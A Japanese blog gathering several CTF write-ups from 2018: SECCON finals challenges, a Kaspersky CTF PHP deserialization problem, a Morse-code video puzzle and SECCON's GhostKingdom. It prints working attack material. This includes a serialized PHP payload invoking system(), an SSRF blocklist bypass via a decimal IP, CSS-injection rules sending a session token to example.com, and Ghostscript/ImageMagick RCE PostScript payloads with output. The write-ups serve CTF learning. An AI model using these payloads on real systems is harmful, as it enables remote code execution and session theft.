SECCON 2018 国内決勝 反省会会場
2018年12月23日に開催されたSECCON CTF 2018 国内決勝にTeam Enuのメンバーとして出場してきました。
結果は去年と同じ6位でしたが、獲得点数は今年の方がだいぶ高かったのでよかったです(?)。バイナリ系の問題は全く手を出さなかった(できないので)のですが、ここでは私が解いた問題について書いていきます。
松島
この問題はマリーナベイサンズにただならぬ思い入れがある方が作った、オンラインポーカーでした。フルハウス以上を出すと1つめのAttack keywordが手に入り、フォーカード以上を出すと2つめのAttack keywordとDefence keywordを入力するページのURLが手に入ります。
この問題の想定解法は、配布されているgenerate_random_hands
というELFファイルを解析してフルハウスやフォーカードを出す方法(タイミングと交換する手札)を調べるという方法なんだろうと思われます。手元でELFファイルを動かしてみたところ、1秒ごとに配られる手札が変わっていたので手札は時間をシードとする乱数で決まるんだろうと思いましたし、実際にバイナリの中身を見ていたチームメイトもそう言っていました。
そんな中、どこかのチームが開始から割と早い段階でAttack keywordをsubmitしていました。バイナリを読んでどうにかする暇もないレベルの速さだったので、ここでこの問題は気合いでやれば解ける問題だと確信しました。
あとはチームメイトの @takahoyo 氏が手動でぶん回してフルハウスを出し、私はChrome Extension*1を書いて自動でぶん回してフォーカードを出しました。
天橋立
XSSできるhtmlとそのペイロードを問題サーバーに登録し、他のチームにその問題が解かれるまで(alert("XSS")
が出せるまで)Defence pointが入るという問題でした。
いい感じにエンコードしたペイロードしか受け付けないようにしておけばまあ解かれないだろうということで、ググって出てきたスクリプトを、javascript obfuscatorでググって出てきたサイトに突っ込んで手直しして問題としてアップロードしておきました。
この方法でも割と健闘していて、後半になってこのまま解かれないだろうと安心しきっていたら、なんと解かれてしまいました*2。どうやらyharimaチームの方っぽいです。
SECCON CTF 2018 国内決勝 writeup - yuta1024's diary
この頃には他のほとんどのチームは、ペイロードのsha256が特定の値だったらalertを実行するという問題にしていたので速攻で他のチームの問題をパクらせていただきました。
ところで、松島も天橋立もDefence keywordの更新を自動でやるスクリプトを走らせていたのですが、天橋立のスクリプトがぶっ壊れていて無限に存在しないパスにリクエストを出し続けるということをしてしまっていたのは秘密です。
終わりに
今回のCTFは一部で色々言われていますが、個人的には久しぶりにチームで集まってCTFができたので楽しかったです。
運営の皆様、ありがとうございました😊
*1:https://gist.github.com/0xiso/b4345e3a3d6d535b389cde103ec332bf - フォーカードを出すために手札の一番多い数字以外を全部Changeするという戦略でやっている。ポーカーのルールが全くわからないのでこれでいいのかは不明。
*2:私が作ったDefence keyword自動アップデートスクリプトがちゃんと仕事をしているか監視するスクリプトを @takahoyo 氏が回してくれていて気づけた
Kaspersky Industrial CTF Quals 2018 Writeup
2018/11/23 23:00 (JST) ~ 2018/11/24 23:00 (JST)に開催されたKaspersky Industrial CTFの予選を1問だけ解いた(1問だけしか解けなかったともいう)のでWriteupを置いておく。
expression (web)
問題文
http://expression.2018.ctf.kaspersky.com/
解き方
指定されたURLにアクセスすると次のようなページが表示される。
適当な数字を入れてSUBMITを押下すると計算結果とBase64 Encodeされてそうな文字列が表示される。
Share itは次のURLへのリンクになっており、このURLにアクセスすると同じ計算結果が表示される。token
には結果表示画面のTokenと同じ値が入っており、これがセッションを保持するキーもしくはセッションのデータそのものであると推測できる。
http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==
ちなみにわざとエラーを発生させるような計算をすると、エラーメッセージが表示され、このWebアプリがPHPで書かれていることとPHPファイルの場所が判明する。
token
をBase64 Decodeすると次のような結果となる。これはPHPのserialize
でオブジェクトをシリアル化した結果に見える。(ちなみに、この表現形式の詳しいことはserialize
のマニュアルのコメント*1に書かれているが、問題自体はこれを読まずとも雰囲気で解ける。)
input = 'TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==' >>> base64.b64decode(input) b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:3:"sum";s:18:"\x00Expression\x00params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}'
ここで、sum
が入っていた場所にaaa
として/?action=load&token=<変更後のtoken>
で読み込ませると次のエラーメッセージが表示される。
エラーメッセージからaaa
という存在しない関数を呼ぼうとしてエラーになっていることがわかり、sum
つまり、Expression->op
を変更することで任意のPHPの関数を呼び出せるということがわかる。さらにいろいろいじると、Expression->params
が引数として利用されることもわかる。これで任意の関数を任意の引数で呼び出せるようになり、あとはFlagのありかを探すだけとなる。
token
を書き換えて環境変数を見てみたりDocument Rootをlsしてみたりしたが、最終的には/fl4g_h4r3
にFlagが書き込まれていることがわかった。あとは次のように、system("cat /fl4g_h4r3")
を実行するようにtoken
を書き換えればFlagを入手できる。
b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:6:"system";s:18:"\x00Expression\x00params";s:14:"cat /fl4g_h4r3";s:9:"stringify";s:6:"21 / 0";}'
KLCTF{f9f091be0ddb1703deb7004798f44709}
SECCON 2018 Online CTF Needle in a haystack Writeup
問題文
https://www.youtube.com/watch?v=sTKP2btHSBQ
Writeup
問題文のURLにアクセスすると約9時間のビルと空を撮影したお天気カメラ的なビデオであることがわかる。
一瞬Flagが表示されるのかもと思い、youtube-dl
を使ってダウンロードしたあとにffmpeg -i some.mp4 -filter:v "select='gt(scene,0.4)',showinfo" "%05d.jpg"
でシーンチェンジを抽出しようとしたがうまくいかなかった。
適当にシークバーを左右に動かしていると、右下のビルの窓の光がやけに点滅することに気づいた。
QuickTImeで60倍速で再生すると長く光ったり短く光ったりしているのでモールス信号であると確信して、気合いで信号を読み取った。
... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- .- -....- ... . -.-. .-. . -....- -- . ... ... .- --. . -....- -... .-. --- .- -.. -.-. -- ... - ... -....- -... --- .-.. -.. .-.. -.-- -.--.-
Morse Code Translatorに突っ込んでいい感じに直すとFlagになった。
SECCON(SOMETIMES-A-SECRET-MESSAGE-BROADCASTS-BOLDLY)
SECCON 2018 Online CTF GhostKingdom Writeup
はじめに
この問題は2つのステップでFlagを入手することができる。
- CSSインジェクションでCSRFトークン(=セッションキー)を抜き出しローカルユーザーとしてログイン
- ローカルユーザーだけが使える、RCE脆弱性のあるImageMagickを使った画像変換機能でFlagを読み出す
問題文
http://ghostkingdom.pwn.seccon.jp/FLAG/
Writeup
問題文のURLにアクセスすると次のメッセージが表示される。
FLAG is somewhere in this folder. GO TO TOP
http://ghostkingdom.pwn.seccon.jp/
にアクセスするとログイン画面とユーザ作成画面へのリンクがある。
適当にアカウントを作ってログインするとメニューが表示される。
それぞれの機能は次の通り。
Message to admin
はその名の通り、管理者にメッセージを送ることができる機能。色々試したところ、最近よくある、送ったメッセージをサーバーのHeadless Chromeで開いてくれてXSSが発動して…という問題ではない模様。このパターン結構好きなのでちょっと残念。Take a screenshot
はURLを指定するとそのページのスクショを返してくれる機能。Upload image
はローカルネットワークからしかアクセスできないらしい。
Take a screenshotの調査
http://ghostkingdom.pwn.seccon.jp/
のスクショを撮影してUpload image
メニューがどのように見えるか試してみる。
普通にアクセスさせるだけではインターネットからのアクセスと判定される。次に、http://127.0.0.1/
を指定したところYou can not use URLs that contain the following keywords: 127, ::1, local
というレスポンスが返ってきた。IPアドレスは色々な表記方法がある*1ので、127.0.0.1
を10進数に変換した2130706433
を指定するとlocalhostからのアクセスと判定された。
http://2130706433/?action=login&user=<USERNAME>&pass=<PASSWORD>
へアクセスするとメニューが表示された。
ただ、Upload image
のURLは分からないのでこのままではそのページにアクセスすることはできない。
ちなみにセッションは多分スクショを撮影した送信元IPアドレスで管理されているようで、IPアドレスが変わるとログアウト状態になるようだ。
Message to adminの調査
メッセージ作成画面ではTypeを選べるようになっていて、Emergencyを選ぶと緊急度が高そうな色で装飾してくれる。
このページではSend to adminをクリックするとCSRFトークンを送るような仕組みになっている。このCSRFトークンはCookieのセッションキーと一致している。管理者のCSRFトークンを窃取できれば管理者としてログインできるかもしれない。
<span class="msg">Message: AAAA</span> <input type="hidden" name="csrf" value="bdf34c07abd5a325c685d0"> <input type="hidden" name="action" value="msgadm3"> <input type="submit" class="btn" value="Send to admin">
このページのURLは次の通り。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=AAAA&action=msgadm2
css
で指定されている値がBase64っぽいのでDecodeしてみるとspan{background-color:red;color:yellow}
となり、レスポンスに含まれるCSSと一致する。ページに出力されるCSSをリクエスト側で操作できるようになっていることがわかる。ちなみに、記号などはエスケープされていてJavaScriptを挿入したりはできなさそうだった。
CSSを使ってページの要素の属性値を盗み出す手法は知られている*2ので、この手法で細工したページにスクショ機能を使って管理者にアクセスさせることで、管理者のセッションキーを盗み出せそうだ。
CSSによる属性値の窃取
CSSの属性セレクター(attribute selector)*3を使うことをによって、属性値を入手することができる。
例えばa要素のhref属性の値を入手したい場合を考える。
<a href="???">Example</a>
次のようなCSSを読み込ませることができた場合、属性値がa
から始まっていればhttp://example.com/href=a
にリクエストが飛び、b
から始まっていればhttp://example.com/href=b
にリクエストが飛び、、、といことができる。
a[href^="a"] {background:url("http://example.com/href=a");} a[href^="b"] {background:url("http://example.com/href=b");} ...
このやり方で、自分に向けてリクエストを飛ばすようにすれば属性値の1文字目が判明する。2文字目以降も[href^="aa"]
、[href^="ab"]
のように繰り返すことにより読み出すことができる。
セッションキーの窃取
前述のようなCSSが出力されるMessage to admin
のページに、スクショ機能を使って管理者にアクセスさせれば良い。具体的には次のコードでセッションキーを入手できる(セッションキーは22文字なので手動でやっても良かったが無駄に頑張ったスクリプトにしてしまった)。
Flagの読み出し
入手したセッションキーをCookieにセットして/?action=menu
にアクセスするとUpload image
が有効化されている。Upload imgae
(/?action=upl0ad
)にアクセスするとファイルをアップロードできるフォームが出てくる。
jpgをアップロードすると、gifに変換することができる。
ここで変換後のURL(http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert
)を見てみると意味深なファイル名であることがわかる。どう考えてもGhostscriptの脆弱性が利用できるImageMagicを使って変換しているとしか思えないURLなのでhttps://www.openwall.com/lists/oss-security/2018/08/21/2にあるCentOS向けのid
コマンドを実行するpsファイルをアップロードして変換してみる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
すると次のようなレスポンスが返ってきた。
uid=2127340927 gid=2127340927 groups=2127340927 Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' @ error/convert.c/ConvertImageCommand/3046.
id
の結果が返ってきているのでどうやら成功した模様。エラーメッセージからDocumentRootが/var/www/html
だということもわかる。次のpsファイルを変換させることでFlagのファイル名が判明する。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops
結果
index.html FLAGflagF1A8.txt Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif'
あとはhttp://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txtにアクセスすればFlagを入手できる。
SECCON{CSSinjection+GhostScript/ImageMagickRCE}